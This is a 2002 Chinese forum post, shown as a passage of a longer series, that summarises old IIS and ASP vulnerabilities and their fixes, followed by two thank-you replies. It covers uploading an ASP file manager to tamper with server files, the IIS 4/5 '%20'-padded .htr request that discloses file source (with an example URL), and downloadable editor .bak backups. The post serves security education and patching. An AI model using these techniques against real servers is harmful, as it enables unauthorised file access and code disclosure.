Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標服務器上的某個目錄,並且這個目錄支持ASP的話,那麼他就可以通過Activer server explorer修改、執行目標服務器上的文件。這種情況可以發生在一個攻擊者擁有目標NT服務器上的一個可寫目錄帳號,並且這個目錄又支持ASP。比如一些支持ASP的個人免費主頁服務器,把Activer server explorer先傳上你申請的免費主頁空間,再通過各種方法得到目標服務器的路徑,(比如可通過漏洞:"請求不存在的擴展名為idq或ida 文件,會暴露文件在服務器上的物理地址.").或者直接在相對路徑上填".",一般是默認。這樣攻擊者就能任意修改,執行目標服務器上的文件,不管他對這個文件有無讀寫訪問權。 

所以那些提供有ASP服務的個人主頁或者其它服務的服務器,就要加倍小心這種攻擊了。 

漏洞解決方法 

其實Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區上的任何文件的漏洞。 

那麼我們如何才能限制用戶使用FileSystemObject對象呢?一種極端的做法是完全反注冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方法如下: 

  在MS-DOS狀態下面鍵入: 

Regsvr32 /u c:\windows\system\scrrun.dll 

(注意:在實際操作的時候要更改成為你本地的實際路徑) 

  但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理文件是很方便,有什麼辦法能兩全其美呢? 

我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象. 

方法如下: 

查找注冊表中 

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值 

  將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為 

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject2 

  這樣,在ASP就必須這樣引用這個對象了: 

   Set fso = CreateObject("Scripting.FileSystemObject2") 

  而不能使用: 

   Set fso = CreateObject("Scripting.FileSystemObject") 

  如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。 

  只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為站點管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實現網站在線管理等等功能了! 

21 IIS4.0/IIS5.0超長文件名請求存在漏洞 

漏洞描述: 

受影響的版本: 

Microsoft IIS 5.0 

+ Microsoft Windows NT 2000 

Microsoft IIS 4.0 

+ Microsoft Windows NT 4.0 

+ Microsoft BackOffice 4.5 

- Microsoft Windows NT 4.0 

+ Microsoft BackOffice 4.0 

- Microsoft Windows NT 4.0 

當在一個已知的文件名後加230個"%20"再加個.htr,會使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內容。這是由ISM.dll映射的.htr文件引起的.比如: 

http://target/filename%20<重復230次>.htr 

這種請求只有當.htr請求是第一次調用或者ISM.dll第一次裝載進內存,才能起作用。 

解決方法: 

安裝補丁 

Microsoft IIS 5.0: 

http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE 

Microsoft IIS 4.0: 

http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe 

22 ASP編輯器會自動備份asp文件,會被下載的漏洞 

漏洞描述: 

  在有些編輯asp程序的工具,當創建或者修改一個asp文件時,編輯器自動創建一個備份文件,比如:UltraEdit就會備份一個..bak文件,如你創建或者修改了some.asp,編輯器自動生成一個叫some.asp.bak文件,如果你沒有刪除這個bak文件,攻擊有可以直接下載some.asp.bak文件,這樣some.asp的源程序就會給下載 

本篇文章發表於2002-12-29 22:20
1樓
回應

阿茲提克
檢舉此回應
感謝大大提供教學....
本篇文章回覆於2003-01-02 21:03
== 簽名檔 ==
--未登入的會員無法查看對方簽名檔--
2樓
回應

James
檢舉此回應
這篇文章令我明白多些哦,謝謝您!
本篇文章回覆於2003-01-02 23:41
== 簽名檔 ==
--未登入的會員無法查看對方簽名檔--
   
1

回覆
如要回應,請先登入.